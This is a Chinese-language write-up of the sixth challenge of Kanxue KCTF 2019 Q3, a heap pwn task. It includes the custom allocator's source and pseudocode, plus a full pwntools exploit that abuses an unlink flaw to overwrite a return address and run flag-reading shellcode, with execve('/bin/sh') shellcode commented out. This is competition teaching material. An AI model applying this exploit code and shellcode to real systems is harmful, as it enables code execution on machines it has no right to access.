-
-
[推荐]看雪.纽盾 KCTF 2019 Q3 | 第六题点评及解题思路
-
发表于: 2019-10-8 13:40 2965
-
自古以来,在暗夜中隐藏着神秘的刺客一族“荆氏”。他们掌握着代代相传的杀人之剑的秘诀,收受佣金为雇主服务,并且守口如瓶。荆轲白日里混迹街头,与市井无赖为伍,夜幕降临时则化身为致命杀手。将军樊於期,窥探到秦王的秘密被迫逃亡,成为燕国的客人。但是,他的声望引起了太子丹的嫉妒。太子丹的手下将大笔金钱送到了杀手荆轲的手中。豪爽的樊於期与年轻的无赖荆轲,早已超越身份结为好友。最终他拒绝了这笔生意。次日,外面被太子丹的大批私兵包围。“真可惜啊,我还没有机会为自己挥出过一剑。”荆轲叹息着,提剑走向了残忍的凶手。惨烈的战斗持续到黄昏,熊熊烈焰将半条街映红。
题目简介
本题共有1028人围观,最终只有17支团队攻破成功。比赛过程也十分精彩,选手们深夜破题,化身刺客打破排名僵局,一举拿下属于团队的荣誉。
攻破此题的战队排名一览:
看雪评委crownless点评
程序重新自己实现了简单的malloc和free,并且存在uaf,可以直接修改free掉过的chunk的fd指向存在"\x7F"的stdin附近(程序没有PIE),而后注意到其malloc的实现时调用map生成的地址可读可写可执行,将一个note指向got表,将其修改到布置好shellcode的地址即可。
出题团队简介
NEURON是一个信息安全爱好者技术团队,成员有各大安全公司技术人员、甲方的信息安全部门人员以及各大高校的学生等。从2014年开始提供信息安全外包服务。
多年来我们和国内多家信息安全测评中心、科学研究院、运营商、高校都有密切的合作。
我们把多年的技术积累转换为服务业务,为各行各业的网络信息系统安全提供可靠的技术保障,也帮助高校培养合格的信息安全技术人才。
设计思路
void *add_free_block( unsigned int size) { void *new_block = NULL; pm_header thdr; pm_footer tftr; /// 将size + sizeof(malloc header)放置到最近的页上 size += sizeof( m_header ); if ( size % PAGE_SIZE ) { size /= PAGE_SIZE; size += 1; size *= PAGE_SIZE; } new_block = mmap( NULL, size, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if ( new_block == NULL ) { exit(-1); } thdr = (pm_header)new_block; thdr->size = size - sizeof(m_header); tftr = BLOCK_FOOTER( new_block ); tftr->pNext = NULL; tftr->pPrev = memman_g.free_list; memman_g.free_list = new_block; return new_block; }
void *malloc( unsigned int size ) { void *freeWalker = NULL; void *final_alloc = NULL; void *new_block = NULL; unsigned int size_left = 0; pm_header thdr; pm_footer tftr; pm_header header_new_block; pm_footer footer_new_block; /// 每个块至少是页脚结构的大小 if ( size < sizeof( m_footer ) ) { size = sizeof(m_footer); } /// 对齐到8个字节 if ( size % 8 ) { size = ( size >> 3 ) + 1; size <<= 3; } freeWalker = memman_g.free_list; while ( 1 ) { if ( freeWalker == NULL ) { freeWalker = add_free_block( size ); } thdr = (pm_header)freeWalker; tftr = BLOCK_FOOTER( freeWalker ); /// 检查当前块是否足够大以满足请求 /// 如果是的话,就要根据需要缩小尺寸 if ( ( thdr->size & ~3) >= size ) { final_alloc = freeWalker + sizeof(pm_header); size_left = (thdr->size& ~3) - size; /// 设置一个标志 thdr->size |= 1; // 如果有空间则创建一个新块 if ( size_left > sizeof(m_header) + sizeof( m_footer) ) { // 修正尺寸大小 thdr->size = size; thdr->size |= 1; // 设置标志,前一个块后面还有一个堆块 thdr->size |= 2; new_block = final_alloc + size; header_new_block = (pm_header)new_block; header_new_block->size = size_left - sizeof(m_header); footer_new_block = tftr; /// 如果这是列表的头部就要修正它 if ( freeWalker == memman_g.free_list ) { memman_g.free_list = new_block; if ( tftr->pNext != NULL ) { tftr = BLOCK_FOOTER( (void*)(tftr->pNext) ); tftr->pPrev = (pm_header)new_block; } } else { // 修改前向和后向指针 if ( tftr->pPrev != NULL ) { freeWalker = tftr->pPrev; tftr = BLOCK_FOOTER( freeWalker ); tftr->pNext = (pm_header)new_block; tftr = footer_new_block; } if ( tftr->pNext != NULL ) { freeWalker = tftr->pNext; tftr = BLOCK_FOOTER( freeWalker); tftr->pPrev = (pm_header)new_block; } } } else { /// 修改前向和后向指针 if ( freeWalker == memman_g.free_list ) { memman_g.free_list = tftr->pNext; if ( memman_g.free_list ) { tftr = BLOCK_FOOTER( (void*)(memman_g.free_list) ); tftr->pPrev = NULL; } } else { // 修改前向和后向指针 if ( tftr->pPrev != NULL ) { freeWalker = tftr->pPrev; pm_footer unlink_ftr = BLOCK_FOOTER( freeWalker ); unlink_ftr->pNext = tftr->pNext; } if ( tftr->pNext != NULL ) { freeWalker = tftr->pNext; pm_footer unlink_ftr = BLOCK_FOOTER( freeWalker); unlink_ftr->pPrev = tftr->pPrev; } } } /// 修改完成,返回分配的堆空间 return final_alloc; } freeWalker = (void*)tftr->pNext; } }
.text:0000000000400A28 mov edx, 0FFh ; nbytes .text:0000000000400A2D mov rsi, rax ; buf .text:0000000000400A30 mov edi, 0 ; fd .text:0000000000400A35 call _read ;; read(0, &stdin_buffer, 0xFF) .text:0000000000400A49 lea rax, [rbp+stdin_buffer] .text:0000000000400A50 mov rdi, rax ; nptr .text:0000000000400A53 call _atoi .text:0000000000400A58 mov [rbp+size], eax .text:0000000000400A5B mov ebx, cs:index .text:0000000000400A61 mov eax, [rbp+sz] .text:0000000000400A64 mov edi, eax .text:0000000000400A66 call allocate_buffer ;; no check on size before call to allocate_buffer(size)
分配3个堆块,第二个分配的块必须是-1后的大小
释放第3个堆块
释放第二堆块
+----------------+ | size = N | | data | | .. | | | | | | ptr_to_stack | +----------------+ | size = -1 | +----------------+ | size = M | | data | | | | | +----------------+
sz = 128 allocate(s, sz) allocate(s, -1) allocate(s, 10) free(s, "3") free(s, "2") payload = "A"*(sz-8) + p64(0x4242424242424242) write(s, 1, payload)
.text:0000000000400905 ; int __cdecl main(int, char **, char **) .text:0000000000400905 main proc near .text:0000000000400905 .text:0000000000400905 stdin_buffer= byte ptr -120h ;; <<-- this buffer provides a good place to land reliably .text:0000000000400905 sz= dword ptr -14h
padd = 'D'*126 + p64(0x1000) + 'B'*8 + 'C'*8 free(s, "2" + "\0" + padd) allocate(s, 512)
解题思路
题目分析
堆结构
>>>>分配
_QWORD *__fastcall f_malloc_400CF7(unsigned int a1) { unsigned int size; // [rsp+Ch] [rbp-54h] unsigned int idle_mem_size; // [rsp+3Ch] [rbp-24h] _QWORD *p_idle_mem; // [rsp+40h] [rbp-20h] signed __int64 data_addr; // [rsp+48h] [rbp-18h] unsigned __int64 bk; // [rsp+50h] [rbp-10h] _QWORD *addr; // [rsp+58h] [rbp-8h] // size = a1; if ( a1 <= 15 ) size = 16; // 最低分配16字节 if ( size & 7 ) size = 8 * ((size >> 3) + 1); // 8字节对齐 for ( addr = (_QWORD *)g_first_idle_heap_602558; ; addr = *(_QWORD **)bk ) { if ( !addr ) addr = f_init_mmap_400C2D(size); bk = (unsigned __int64)addr + (*addr & 0xFFFFFFFFFFFFFFFCLL) - 8; if ( (*addr & 0xFFFFFFFFFFFFFFFCLL) >= size )// 如果堆大小大于等于 size 符合条件 break; } data_addr = (signed __int64)(addr + 1); idle_mem_size = (*addr & 0xFFFFFFFC) - size; // 分配给用户后的剩余空间 *addr |= 1uLL; // 标记当前堆是使用状态 if ( idle_mem_size <= 0x18 ) // 闲置空间太小 { if ( (_QWORD *)g_first_idle_heap_602558 == addr ) { g_first_idle_heap_602558 = *(_QWORD *)bk; if ( g_first_idle_heap_602558 ) *(_QWORD *)(g_first_idle_heap_602558 + (*(_QWORD *)g_first_idle_heap_602558 & 0xFFFFFFFFFFFFFFFCLL)) = 0LL;// fd = 0 } else { if ( *(_QWORD *)(bk + 8) ) // fd *(_QWORD *)((**(_QWORD **)(bk + 8) & 0xFFFFFFFFFFFFFFFCLL) - 8 + *(_QWORD *)(bk + 8)) = *(_QWORD *)bk;// fd->bk = bk if ( *(_QWORD *)bk ) *(_QWORD *)((**(_QWORD **)bk & 0xFFFFFFFFFFFFFFFCLL) + *(_QWORD *)bk) = *(_QWORD *)(bk + 8);// bk->fd = fd } } else // 闲置空间至少还能再分配一次内存,分割出用户内存,与闲置内存 { *addr = size; *addr |= 1uLL; // 标记当前堆是使用状态 *addr |= 2uLL; // 标记相邻的下一个堆是未使用状态 True 代表未使用 p_idle_mem = (_QWORD *)(size + data_addr); *p_idle_mem = idle_mem_size - 8LL; // 设置闲置内存大小 if ( (_QWORD *)g_first_idle_heap_602558 == addr ) { g_first_idle_heap_602558 = size + data_addr;// 将全局变量保存的堆地址指向闲置内存地址 if ( *(_QWORD *)bk ) *(_QWORD *)(*(_QWORD *)bk + (**(_QWORD **)bk & 0xFFFFFFFFFFFFFFFCLL)) = p_idle_mem;// bk->fd = p_idle_mem } else { if ( *(_QWORD *)(bk + 8) ) *(_QWORD *)((**(_QWORD **)(bk + 8) & 0xFFFFFFFFFFFFFFFCLL) - 8 + *(_QWORD *)(bk + 8)) = p_idle_mem;// fd->bk = p_idle_mem if ( *(_QWORD *)bk ) *(_QWORD *)((**(_QWORD **)bk & 0xFFFFFFFFFFFFFFFCLL) + *(_QWORD *)bk) = p_idle_mem;// bk->fd = p_idle_mem } } return addr + 1; }
>>>>释放
__int64 *__fastcall f_free_40101A(__int64 *addr) { __int64 *flag; // rax _OWORD *bk; // ST18_8 _QWORD *next_bk; // [rsp+18h] [rbp-20h] __int64 *next_heap; // [rsp+20h] [rbp-18h] __int64 *heap_addr; // [rsp+28h] [rbp-10h] if ( addr ) { heap_addr = addr - 1; flag = (__int64 *)(*(addr - 1) & 1); if ( flag ) { if ( !(*heap_addr & 2) || (next_heap = &addr[(unsigned __int64)*heap_addr >> 3], *next_heap & 1) )// 相邻的下一个堆是使用状态 { bk = (_OWORD *)((char *)heap_addr + (*heap_addr & 0xFFFFFFFFFFFFFFFCLL) - 8);// BK *heap_addr ^= 1uLL; // 使用标志清零 *bk = (unsigned __int64)g_first_idle_heap_602558; if ( g_first_idle_heap_602558 ) *(_QWORD *)(g_first_idle_heap_602558 + (*(_QWORD *)g_first_idle_heap_602558 & 0xFFFFFFFFFFFFFFFCLL)) = heap_addr;// bk->fd = heap_addr flag = addr - 1; g_first_idle_heap_602558 = (__int64)(addr - 1); } else // 相邻的下一个堆未使用,合并 { *heap_addr += (*next_heap & 0xFFFFFFFFFFFFFFFCLL) + 8;// 合并大小 if ( !(*next_heap & 2) ) *heap_addr ^= 2uLL; // 继承相邻的下个堆的使用状态 if ( (__int64 *)g_first_idle_heap_602558 == next_heap ) g_first_idle_heap_602558 = (__int64)(addr - 1); next_bk = (__int64 *)((char *)heap_addr + (*heap_addr & 0xFFFFFFFFFFFFFFFCLL) - 8); if ( *next_bk ) *(_QWORD *)(*next_bk + (*(_QWORD *)*next_bk & 0xFFFFFFFFFFFFFFFCLL)) = heap_addr;// next_bk->fd = heap_addr flag = (__int64 *)next_bk[1]; // flag = next_fd if ( flag ) { flag = (__int64 *)(next_bk[1] + (*(_QWORD *)next_bk[1] & 0xFFFFFFFFFFFFFFFCLL) - 8);// next_fd->bk = heap_addr *flag = (__int64)heap_addr; } } } } return flag; }
>>>>结构示意图
利用方法
>>>>堆利用
分配给用户后剩余的空间小于0x18
当前堆块不能在空闲堆链表第一个
>>>>修改返回地址
>>>>exp
#coding=utf-8 from pwn import * # # context.log_level = 'debug' # p = process('./0xbird1') p = remote('154.8.174.214', 10000) # # execve("/bin/sh") # x86-64 # shellcode = "\x48\x31\xf6\x56\x48\xbf" # shellcode += "\x2f\x62\x69\x6e\x2f" # shellcode += "\x2f\x73\x68\x57\x54" # shellcode += "\x5f\xb0\x3b\x99\x0f\x05" # # read file ./flag.txt shellcode = "\xeb\x2f\x5f\x6a\x02\x58\x48\x31\xf6\x0f\x05\x66\x81\xec\xef\x0f\x48\x8d\x34\x24\x48\x97\x48\x31\xd2\x66\xba\xef\x0f\x48\x31\xc0\x0f\x05\x6a\x01\x5f\x48\x92\x6a\x01\x58\x0f\x05\x6a\x3c\x58\x0f\x05\xe8\xcc\xff\xff\xff\x2e\x2f\x66\x6c\x61\x67\x2e\x74\x78\x74\x00"; # heap_addr = [] # def alloc(size): p.sendline('A') p.recvuntil("Size: ") p.sendline(str(size)) p.recvuntil("2019KCTF| ") # def free(id): p.sendline('F') p.recvuntil("Index: ") p.sendline(str(id)) p.recvuntil("2019KCTF| ") # def edit(id, data, count): p.sendline('W') for i in range(1, count+1): p.recvuntil(") 0x") heap_addr.append(int(p.recvuntil(" "), 16)) p.recvuntil("Write addr: ") p.sendline(str(id)) p.recvuntil("Write value: ") p.send(data) p.recvuntil("2019KCTF| ") # def leak(): p.sendline('N') p.recvuntil("Here you go: 0x") return int(p.recvuntil("\n"), 16) + 0x14 # stack = leak() + 8 print('Get Stack addr: %x' % stack) # alloc(32) alloc(32) alloc(24) alloc(1768) # 0x06E8 jmp $+8 edit(4, shellcode, 4) # print('Heap Addr:') print(heap_addr) # free(1) free(3) # heap01 = 'A'*16 + p64(stack) + p64(heap_addr[3]-8) # bk = 栈上的假堆, fd = 第4个堆,这个堆里面保存了 shellcode # 在 alloc 时,bk->fd = shellcode_addr => stack->main_ret = shellcode_addr edit(1, heap01, 3) print('Heap Addr:') print(heap_addr) # raw_input("Pause~\n") # # 发送大小时,在栈上面布局一个假堆,大小 0x120,fd = main_ret size_data = '32.' + 'A'*5 + p64(0x120) p.sendline('A') p.recvuntil("Size: ") p.sendline(size_data) p.recvuntil("2019KCTF| ") # # 跳到 shellcode p.sendline('E') # # p.interactive() p.close()
合作伙伴
上海纽盾科技股份有限公司(www.newdon.net)成立于2009年,是一家以“网络安全”为主轴,以“科技源自生活,纽盾服务社会”为核心经营理念,以网络安全产品的研发、生产、销售、售后服务与相关安全服务为一体的专业安全公司,致力于为数字化时代背景下的用户提供安全产品、安全服务以及等级保护等安全解决方案。
原文链接:https://mp.weixin.qq.com/s/eBilAMMOCfO0NipJBkcJ-g
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)